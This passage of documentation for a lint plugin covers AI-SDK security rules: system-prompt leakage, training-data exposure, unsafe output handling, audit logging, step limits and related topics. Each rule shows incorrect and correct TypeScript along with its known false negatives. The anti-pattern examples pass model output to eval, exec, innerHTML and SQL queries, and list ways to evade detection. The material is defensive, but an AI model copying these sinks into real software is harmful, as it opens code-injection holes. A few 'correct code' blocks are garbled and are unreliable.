[#encryptedtransformed-data] **Why**: Transformed data appears safe but may be sensitive. ```typescript // ❌ NOT DETECTED - Encrypted but still sensitive await generateText({ prompt: `Decrypt this: ${encryptedPassword}`, }); ``` **Mitigation**: Never send any form of credentials to LLMs. ## 📚 References [#-references] * [OWASP LLM02: Sensitive Information Disclosure](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-200: Information Exposure](https://cwe.mitre.org/data/definitions/200.html) # no-system-prompt-leak > Prevents system prompts from being exposed in API responses or client code. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ----------------------------------------------------------------------------------------------------------- | | **Type** | problem | | **Severity** | 🔴 HIGH | | **OWASP LLM** | [LLM07: System Prompt Leakage](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-200: Information Exposure](https://cwe.mitre.org/data/definitions/200.html) | | **CVSS** | 7.5 | | **Config Default** | `error` (recommended, strict) | ## Value & investment case [#value--investment-case] > Why this rule pays for itself. Framework: [`cicd-impact/philosophy.md`](../../../../cicd-impact/philosophy.md). | Dimension | Value | | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **CWE / OWASP-LLM** | [CWE-200](https://cwe.mitre.org/data/definitions/200.html) — Information Exposure · [OWASP LLM07: System Prompt Leakage](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **Feedback-loop tier** | Editor / pre-commit (sub-second) — cheapest layer per the [feedback-loop hierarchy](../../../../cicd-impact/philosophy.md#the-feedback-loop-hierarchy--why-a-high-end-static-analyzer-is-the-highest-leverage-investment) | | **Defensive-layer leverage** | \~10× cheaper than unit-test · \~1,000× cheaper than production rollback · 10,000+× cheaper than customer disclosure ([cost-ratio anchors](../../../../cicd-impact/philosophy.md#deliverability-axis--quality-risk-and-ma-diligence)) | | **Niche relevance** | **Critical:** AI/ML platforms (system prompts encode the product moat) · **High:** B2B SaaS shipping AI features, infra/devtools (AI-tooling category) · **Medium:** B2C, fintech (AI risk-modeling), healthtech (clinical-AI guardrails) | | **Investor-frame impact** | System-prompt leakage → loss of competitive moat (the prompt *is* the product for many AI startups) + indirect IP/data exposure. AI-niche-specific rule class with no equivalent in pre-LLM analyzers; lint-time prevention is the cheapest defense for an attack class that didn't exist three years ago. | **Read also:** [`philosophy.md` §investor-frame](../../../../cicd-impact/philosophy.md#the-investor-frame--engineering-efficiency-as-a-portfolio-metric) · [`niche-presets.json`](../../../../cicd-impact/data/niche-presets.json) · [`analyzer-evaluation-framework.md`](../../../../cicd-impact/analyzer-evaluation-framework.md) ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies code patterns where system prompts or AI instructions are returned in API responses, logged, or otherwise exposed to clients. System prompts often contain sensitive business logic and instructions that should remain server-side only. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // System prompt in API response return Response.json({ systemPrompt: SYSTEM_PROMPT, response: result.text, }); // System prompt returned directly export function getConfig() { return systemPrompt; } // System message exposed res.json({ systemMessage: config.systemMessage, data: result, }); // Instructions exposed return { instructions: AI_INSTRUCTIONS, output: response, }; ``` ## ✅ Correct Code [#-correct-code] ```typescript // Only response returned return Response.json({ response: result.text, }); // No system prompt in public API export function getResponse() { return { data: result.text }; } // System prompt kept server-side const systemPrompt = getSystemPrompt(); // Used internally return res.json({ output: await generateWithPrompt(systemPrompt) }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ---------------------- | ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------- | | `systemPromptPatterns` | `string[]` | `["systemPrompt","system_prompt","SYSTEM_PROMPT","systemMessage","system_message","SYSTEM_MESSAGE","instructions","INSTRUCTIONS","aiInstructions","agentPrompt","basePrompt","contextPrompt"]` | Variable patterns that suggest system prompts | ## 🛡️ Why This Matters [#️-why-this-matters] Exposing system prompts allows attackers to: * **Understand AI behavior** - Learn how to manipulate responses * **Craft targeted attacks** - Design prompts that bypass safety measures * **Extract business logic** - Understand proprietary AI configurations * **Find vulnerabilities** - Identify weaknesses in prompt engineering ## 🔗 Related Rules [#-related-rules] * [`no-dynamic-system-prompt`](./no-dynamic-system-prompt.md) - Prevent dynamic system prompts ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Custom Field Names [#custom-field-names] **Why**: Only configured pattern names are checked. ```typescript // ❌ NOT DETECTED - Custom field name return Response.json({ aiConfig: SYSTEM_PROMPT, // Not in default patterns response: result.text, }); ``` **Mitigation**: Configure `systemPromptPatterns` with custom field names. ### Nested Object Access [#nested-object-access] **Why**: Deep property access may not be recognized. ```typescript // ❌ NOT DETECTED - Nested exposure return Response.json({ config: { prompt: systemPrompt }, // Nested }); ``` **Mitigation**: Review response structure. Avoid nesting sensitive data. ### Spread Operator [#spread-operator] **Why**: Spread may include system prompt unknowingly. ```typescript // ❌ NOT DETECTED - System prompt in spread const config = { systemPrompt: '...', other: 'data' }; return Response.json({ ...config }); // Exposes systemPrompt! ``` **Mitigation**: Never spread objects containing system prompts. ### Serialized/Transformed Data [#serializedtransformed-data] **Why**: Transformed data is not traced. ```typescript // ❌ NOT DETECTED - Serialized before return const data = JSON.stringify({ systemPrompt, result }); return Response.json({ payload: data }); ``` **Mitigation**: Never serialize system prompts. ## 📚 References [#-references] * [OWASP LLM07: System Prompt Leakage](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-200: Information Exposure](https://cwe.mitre.org/data/definitions/200.html) # no-training-data-exposure > Prevents user data from being sent to LLM training endpoints. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ------------------------------------------------------------------------------------------------------------- | | **Type** | problem | | **Severity** | 🟡 HIGH | | **OWASP LLM** | [LLM03: Training Data Poisoning](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-359: Privacy Violation](https://cwe.mitre.org/data/definitions/359.html) | | **CVSS** | 7.0 | | **Config Default** | `warn` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies code patterns where user data might be sent to LLM training endpoints or when training data collection is enabled. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Training enabled const config = { training: true, }; // Allow training flag const options = { allowTraining: true, }; // Training endpoint fetch('https://api.openai.com/v1/fine-tune'); ``` ## ✅ Correct Code [#-correct-code] ```typescript // Training disabled const config = { training: false, }; // No training endpoint await generateText({ model: openai('gpt-4'), prompt: userInput, }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ------------------ | ---------- | -------------------------------------------------------------------------------------- | -------------------------------------- | | `trainingPatterns` | `string[]` | `["train","training","finetune","fine-tune","fine_tune","feedback","improve","learn"]` | Patterns suggesting training endpoints | ## 🛡️ Why This Matters [#️-why-this-matters] Exposing user data to training can: * **Privacy violations** - User data used without consent * **Data poisoning** - Malicious data taints model * **Compliance violations** - GDPR, CCPA violations * **IP leakage** - Proprietary information exposed ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Environment-Based Training Flags [#environment-based-training-flags] **Why**: Environment variables are not resolved. ```typescript // ❌ NOT DETECTED - Training from env const options = { training: process.env.ENABLE_TRAINING }; ``` **Mitigation**: Hardcode `training: false`. Never use env for training flags. ### Training Endpoints in Config [#training-endpoints-in-config] **Why**: Endpoints from config files are not visible. ```typescript // ❌ NOT DETECTED - Endpoint from config fetch(config.apiEndpoint); // May be fine-tune endpoint ``` **Mitigation**: Review API configurations for training endpoints. ### Implicit Training via SDK Options [#implicit-training-via-sdk-options] **Why**: Hidden SDK options enabling training may not be detected. ```typescript // ❌ NOT DETECTED - SDK defaults to training const client = new AIClient(); // training: true by default ``` **Mitigation**: Explicitly set training: false in all SDK configs. ## 📚 References [#-references] * [OWASP LLM03: Training Data Poisoning](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-359: Privacy Violation](https://cwe.mitre.org/data/definitions/359.html) # no-unsafe-output-handling > Prevents using AI-generated content in dangerous operations like eval, SQL, or innerHTML. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | -------------------------------------------------------------------------------------------------------------- | | **Type** | problem | | **Severity** | 🔴 CRITICAL | | **OWASP LLM** | [LLM05: Improper Output Handling](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **OWASP Agentic** | [ASI05: Unexpected Code Execution](https://owasp.org) | | **CWE** | [CWE-94: Improper Control of Code Generation](https://cwe.mitre.org/data/definitions/94.html) | | **CVSS** | 9.8 | | **Config Default** | `error` (recommended, strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies code patterns where AI-generated output is passed directly to dangerous functions that can execute code, manipulate the DOM, or run database queries. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Code execution const result = await generateText({ prompt: 'Generate code' }); eval(result.text); // Function constructor new Function(result.text)(); // XSS via innerHTML element.innerHTML = result.text; // SQL injection db.query(result.text); // Shell execution exec(result.text); ``` ## ✅ Correct Code [#-correct-code] ```typescript Hello ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ------------------ | ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------- | | `aiOutputPatterns` | `string[]` | `["result.text","response.text","completion","generated","aiOutput","aiResponse","llmOutput","llmResponse","modelOutput","textContent",".text"]` | Variable patterns that suggest AI output | ## 🛡️ Why This Matters [#️-why-this-matters] Passing AI output to dangerous functions enables: * **Remote Code Execution (RCE)** - Attackers can inject code via prompt manipulation * **Cross-Site Scripting (XSS)** - Malicious scripts in generated HTML * **SQL Injection** - Database manipulation via generated queries * **Command Injection** - System command execution ## 🔗 Related Rules [#-related-rules] * [`require-validated-prompt`](./require-validated-prompt.md) - Validate input prompts * [`require-output-filtering`](./require-output-filtering.md) - Filter tool output ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### AI Output Stored in Variable [#ai-output-stored-in-variable] **Why**: Assignment to dangerous functions from variables is not traced. ```typescript // ❌ NOT DETECTED - Output stored first const aiOutput = (await generateText({ prompt })).text; // Later in code... eval(aiOutput); // Not linked to AI output ``` **Mitigation**: Never use eval or similar with any external data. ### Custom Dangerous Functions [#custom-dangerous-functions] **Why**: Non-standard execution functions may not be detected. ```typescript // ❌ NOT DETECTED - Custom exec wrapper executeCode(result.text); // Custom wrapper, not one of the recognised sinks ``` **Mitigation**: none available — the recognised sinks (`eval`, `Function`, `exec`, `execSync`, `execFile`, `spawn`) are fixed and not configurable. Call the underlying function directly at the point the AI output is used, or wrap the call site in your own review. ### Dynamic Function Invocation [#dynamic-function-invocation] **Why**: Dynamic property access is not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic invocation const method = 'eval'; window[method](result.text); // Dynamic access ``` **Mitigation**: Avoid dynamic function invocation. ### Framework Rendering [#framework-rendering] **Why**: Framework-specific unsafe patterns may not be recognized. ```typescript // ❌ NOT DETECTED - React dangerouslySetInnerHTML
``` **Mitigation**: Use framework-specific security rules. ## 📚 References [#-references] * [OWASP LLM05: Improper Output Handling](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [OWASP ASI05: Unexpected Code Execution](https://owasp.org) * [CWE-94: Improper Control of Code Generation](https://cwe.mitre.org/data/definitions/94.html) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-94 OWASP:A05 CVSS:9.8 | Code Injection detected | CRITICAL [SOC2,PCI-DSS,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-94](https://cwe.mitre.org/data/definitions/94.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Code Injection detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [SOC2,PCI-DSS,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | # require-abort-signal > Ensures streaming calls have AbortSignal for graceful cancellation. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ----------------------------------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | ⚪ LOW | | **OWASP LLM** | [LLM10: Unbounded Consumption](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-404: Improper Resource Shutdown](https://cwe.mitre.org/data/definitions/404.html) | | **CVSS** | 4.0 | | **Config Default** | `off` (recommended), `warn` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies streaming AI SDK calls (`streamText`, `streamObject`) that don't include an AbortSignal for cancellation. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // No abort signal await streamText({ model: openai('gpt-4'), prompt: 'Stream a long response', }); // Missing signal in streamObject await streamObject({ model: anthropic('claude-3'), prompt: 'Generate object', schema: mySchema, }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // With abort signal const controller = new AbortController(); await streamText({ model: openai('gpt-4'), prompt: 'Stream a long response', abortSignal: controller.signal, }); // Using signal property await streamObject({ model: anthropic('claude-3'), prompt: 'Generate object', schema: mySchema, signal: abortController.signal, }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ----------------- | ---------- | ------------------------------- | --------------------------------------- | | `targetFunctions` | `string[]` | `["streamText","streamObject"]` | Functions that should have abort signal | ## 🛡️ Why This Matters [#️-why-this-matters] Without abort signals: * **Resource leaks** - Streams continue after user navigation * **Wasted costs** - Tokens consumed after request cancelled * **Server overhead** - Backend continues processing * **Poor UX** - No way to cancel long operations ## 🔗 Related Rules [#-related-rules] * [`require-max-tokens`](./require-max-tokens.md) - Limit token consumption * [`require-error-handling`](./require-error-handling.md) - Handle errors ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Signal from Variable [#signal-from-variable] **Why**: Signal stored in variables is not analyzed. ```typescript // ❌ NOT DETECTED - Signal from variable const options = { signal: controller.signal }; await streamText({ model: openai('gpt-4'), ...options }); ``` **Mitigation**: Use inline signal property. ### Framework-Provided Signal [#framework-provided-signal] **Why**: Framework signals are not visible. ```typescript // ❌ NOT DETECTED (correctly) - Next.js handles signals export async function GET(req: Request) { // req.signal provided by Next.js return streamText({ ..., abortSignal: req.signal }); } ``` **Mitigation**: Document framework signal handling. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers may include signal internally. ```typescript // ❌ NOT DETECTED - Wrapper adds signal await myStreamText(prompt); // Wrapper adds signal internally ``` **Mitigation**: Apply rule to wrapper implementations. ## 📚 References [#-references] * [OWASP LLM10: Unbounded Consumption](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-404: Improper Resource Shutdown](https://cwe.mitre.org/data/definitions/404.html) * [Vercel AI SDK Streaming](https://sdk.vercel.ai/docs/ai-sdk-core/streaming) # require-audit-logging > Suggests audit logging for AI SDK operations. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | -------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | ⚪ LOW | | **OWASP Agentic** | [ASI10: Logging & Monitoring](https://owasp.org) | | **CWE** | [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html) | | **CVSS** | 4.0 | | **Config Default** | `off` (recommended, strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies AI SDK calls that aren't preceded by logging statements. Audit logging is important for security monitoring and debugging. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // No logging async function handler() { const result = await generateText({ prompt: userInput, }); return result.text; } // Missing audit trail export async function processRequest(req) { await streamText({ prompt: req.body.message, }); } ``` ## ✅ Correct Code [#-correct-code] ```typescript Hello ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------- | | `allowInTests` | `boolean` | `true` | Allow missing logging in test files | ## 🛡️ Why This Matters [#️-why-this-matters] Insufficient logging makes it impossible to: * **Detect abuse** - Identify malicious usage patterns * **Debug issues** - Trace problems in production * **Audit compliance** - Prove regulatory compliance * **Monitor costs** - Track API usage ## 🔗 Related Rules [#-related-rules] * [`require-error-handling`](./require-error-handling.md) - Handle errors * [`require-tool-confirmation`](./require-tool-confirmation.md) - Log destructive operations ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Logging in Wrapper Function [#logging-in-wrapper-function] **Why**: Logging in called functions is not visible. ```typescript // ❌ NOT DETECTED - Logging in wrapper await myGenerateText(prompt); // Wrapper has logging ``` **Mitigation**: Apply rule to wrapper implementations. ### Custom Logger Methods [#custom-logger-methods] **Why**: Non-standard logger methods may not be recognized. ```typescript // ❌ NOT DETECTED - Custom logger myLogger.audit('AI call', { prompt }); // Not in default patterns await generateText({ prompt }); ``` **Mitigation**: Configure rule for custom logger method names. ### Centralized Logging Middleware [#centralized-logging-middleware] **Why**: Framework-level logging is not linked. ```typescript // ❌ NOT DETECTED (correctly) - Middleware logs all AI calls app.use(aiAuditMiddleware); ``` **Mitigation**: Document centralized logging. Consider rule exception. ### Async Logging [#async-logging] **Why**: Logging scheduled for later may not be detected. ```typescript // ❌ NOT DETECTED - Deferred logging const result = await generateText({ prompt }); queueAuditLog({ prompt, result }); // Async logging ``` **Mitigation**: Use synchronous logging before AI calls. ## 📚 References [#-references] * [OWASP ASI10: Logging & Monitoring](https://owasp.org) * [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-778 OWASP:A09 CVSS:5.3 | Insufficient Logging detected | MEDIUM [SOC2,ISO27001,PCI-DSS,NIST-CSF] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A09_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-778](https://cwe.mitre.org/data/definitions/778.html) [OWASP:A09](https://owasp.org/Top10/A09_2021-Injection/) [CVSS:5.3](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Insufficient Logging detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [SOC2,ISO27001,PCI-DSS,NIST-CSF]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A09_2021-Injection/) | # require-embedding-validation > Requires validation of embeddings before storage or similarity search. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ------------------------------------------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | 🟡 MEDIUM | | **OWASP LLM** | [LLM08: Vector & Embedding Weaknesses](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) | | **CVSS** | 5.5 | | **Config Default** | `off` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Direct embedding without validation await vectorStore.upsert({ id: docId, embedding: await embed(text), }); // Unvalidated createEmbedding await index.insert({ vector: await createEmbedding(input), }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // Validated embedding await vectorStore.upsert({ id: docId, embedding: validateEmbedding(await embed(text)), }); // Normalized vector await index.add({ vector: normalize(embedding), }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------------- | ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------- | | `embeddingPatterns` | `string[]` | `["embed","embedding","embeddings","vector","encode","createEmbedding","getEmbedding","generateEmbedding"]` | Patterns suggesting embedding operations | | `validatorFunctions` | `string[]` | `["validate","verify","check","sanitize","normalize","validateEmbedding","verifyVector"]` | Functions that validate embeddings | ## 🛡️ Why This Matters [#️-why-this-matters] Unvalidated embeddings can: * **Poison vector stores** - Malicious embeddings return incorrect results * **Cause DoS** - Invalid dimensions crash indexing * **Enable jailbreaks** - Crafted embeddings bypass safety * **Leak information** - Embedding inversion attacks ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Validation in Embedding Function [#validation-in-embedding-function] **Why**: Validation inside called functions is not visible. ```typescript // ❌ NOT DETECTED - Validation in embed function await vectorStore.upsert({ embedding: await safeEmbed(text), // Validates internally }); ``` **Mitigation**: Document validation. Apply rule to embedding functions. ### Custom Vector Store Methods [#custom-vector-store-methods] **Why**: Non-standard methods may not be recognized. ```typescript // ❌ NOT DETECTED - Custom store method await myVectorDb.add(embedding); // Not in default patterns ``` **Mitigation**: Configure `embeddingPatterns` with custom method names. ### Batch Embedding Operations [#batch-embedding-operations] **Why**: Batch operations may obscure individual validations. ```typescript // ❌ NOT DETECTED - Batch operation await vectorStore.batchUpsert(embeddings); // Are all validated? ``` **Mitigation**: Validate before batching. Review batch implementations. ## 📚 References [#-references] * [OWASP LLM08: Vector & Embedding Weaknesses](https://owasp.org/www-project-top-10-for-large-language-model-applications/) * [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-20 OWASP:A06 CVSS:7.5 | Improper Input Validation detected | HIGH [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A06_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-20](https://cwe.mitre.org/data/definitions/20.html) [OWASP:A06](https://owasp.org/Top10/A06_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Improper Input Validation detected` | | **Severity & Compliance** | Impact assessment | `HIGH [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A06_2021-Injection/) | # require-error-handling > Ensures AI SDK calls are wrapped in try-catch to prevent cascading failures. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ------------------------------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | 🟠 MEDIUM | | **OWASP Agentic** | [ASI08: Cascading Failures](https://owasp.org) | | **CWE** | [CWE-755: Improper Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/755.html) | | **CVSS** | 5.0 | | **Config Default** | `off` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies AI SDK calls that aren't wrapped in try-catch blocks. AI calls can fail due to rate limits, network issues, or content filtering. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // No error handling async function handler() { const result = await generateText({ prompt: 'Hello', }); return result.text; } // Missing catch async function process() { const stream = await streamText({ prompt: 'Stream this', }); return stream; } ``` ## ✅ Correct Code [#-correct-code] ```typescript // With try-catch async function handler() { try { const result = await generateText({ prompt: 'Hello', }); return result.text; } catch (error) { logger.error('AI call failed', error); throw new AppError('AI service unavailable'); } } // Error handling with fallback async function process() { try { const stream = await streamText({ prompt: 'Stream this', }); return stream; } catch (error) { return getFallbackResponse(); } } ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | -------------------------------------- | | `allowInTests` | `boolean` | `true` | Allow unhandled AI calls in test files | ## 🛡️ Why This Matters [#️-why-this-matters] Unhandled AI errors can cause: * **Cascading failures** - One failure crashes entire system * **Information leakage** - Stack trace exposes internals * **Poor user experience** - Generic error pages * **Silent failures** - Problems go unnoticed ## 🔗 Related Rules [#-related-rules] * [`require-audit-logging`](./require-audit-logging.md) - Log AI operations * [`require-abort-signal`](./require-abort-signal.md) - Enable cancellation ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Try-Catch in Caller [#try-catch-in-caller] **Why**: Error handling in calling function is not tracked. ```typescript // ❌ NOT DETECTED - Try-catch in caller async function handler() { return aiService.generate('Hello'); // aiService has try-catch } ``` **Mitigation**: Add error handling at AI call site for clarity. ### Global Error Handlers [#global-error-handlers] **Why**: Express/framework error middleware is not visible. ```typescript // ❌ NOT DETECTED (correctly) - Express error handler app.use(errorHandler); // Catches all errors async function handler() { return await generateText({ prompt: 'Hello' }); } ``` **Mitigation**: Use local error handling for graceful degradation. ### Wrapper with Built-in Error Handling [#wrapper-with-built-in-error-handling] **Why**: Custom wrappers with internal error handling are not recognized. ```typescript // ❌ NOT DETECTED - Wrapper has error handling const result = await safeGenerateText({ prompt: 'Hello' }); ``` **Mitigation**: Apply rule to wrapper implementations. ### Promise.catch() [#promisecatch] **Why**: Promise chain error handling may not be recognized. ```typescript // ⚠️ MAY NOT DETECT - Promise catch generateText({ prompt: 'Hello' }) .then((r) => r.text) .catch(handleError); ``` **Mitigation**: Use async/await with try-catch for clarity. ## 📚 References [#-references] * [OWASP ASI08: Cascading Failures](https://owasp.org) * [CWE-755: Improper Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/755.html) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-755 OWASP:A10 CVSS:7.5 | Improper Handling of Exceptional Conditions detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A10_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-755](https://cwe.mitre.org/data/definitions/755.html) [OWASP:A10](https://owasp.org/Top10/A10_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Improper Handling of Exceptional Conditions detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A10_2021-Injection/) | # require-max-steps > Prevents infinite tool calling loops in multi-step agents. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ----------------------------------------------------------------------------------------------------------- | | **Type** | suggestion | | **Severity** | 🟡 HIGH | | **OWASP LLM** | [LLM10: Unbounded Consumption](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-834: Excessive Iteration](https://cwe.mitre.org/data/definitions/834.html) | | **CVSS** | 6.5 | | **Config Default** | `warn` (recommended), `error` (strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies AI SDK calls that use tools but don't specify a step limit. Without limits, AI agents can enter infinite loops calling tools repeatedly. Both idioms satisfy the rule: * **AI SDK v4**: `maxSteps: 5` * **AI SDK v5+**: `stopWhen: stepCountIs(5)` (v5 removed `maxSteps` in favor of `stopWhen`; some templates use `isStepCount`) ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Tools without maxSteps await generateText({ model: openai('gpt-4'), prompt: 'Research and summarize', tools: { search: searchTool, summarize: summarizeTool, }, }); // Multi-tool agent without limit await streamText({ model: anthropic('claude-3'), prompt: 'Complete the task', tools: { search, write, deploy }, }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // With maxSteps limit (AI SDK v4) await generateText({ model: openai('gpt-4'), prompt: 'Research and summarize', tools: { search: searchTool, summarize: summarizeTool, }, maxSteps: 5, }); // Bounded agent (AI SDK v4) await streamText({ model: anthropic('claude-3'), prompt: 'Complete the task', tools: { search, write, deploy }, maxSteps: 10, }); // AI SDK v5+: stopWhen replaces maxSteps await streamText({ model: 'openai/gpt-5', messages, tools: { getWeather }, stopWhen: stepCountIs(5), }); // stopWhen also accepts an array of conditions await generateText({ model: openai('gpt-4'), prompt: 'Complete the task', tools: { search, write }, stopWhen: [stepCountIs(10), hasToolCall('finalize')], }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ------------------- | -------- | ------- | ---------------------------------- | | `suggestedMaxSteps` | `number` | `5` | Default max steps limit to suggest | ## 🛡️ Why This Matters [#️-why-this-matters] Unbounded tool loops can cause: * **Infinite loops** - AI keeps calling tools forever * **Cost explosion** - Each tool call may trigger additional API calls * **Resource exhaustion** - Downstream services overwhelmed * **Data corruption** - Repeated mutations without checks ## 🔗 Related Rules [#-related-rules] * [`require-max-tokens`](./require-max-tokens.md) - Limit token consumption * [`require-tool-confirmation`](./require-tool-confirmation.md) - Require confirmation ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### stopWhen Without a Step-Count Condition [#stopwhen-without-a-step-count-condition] **Why**: Any 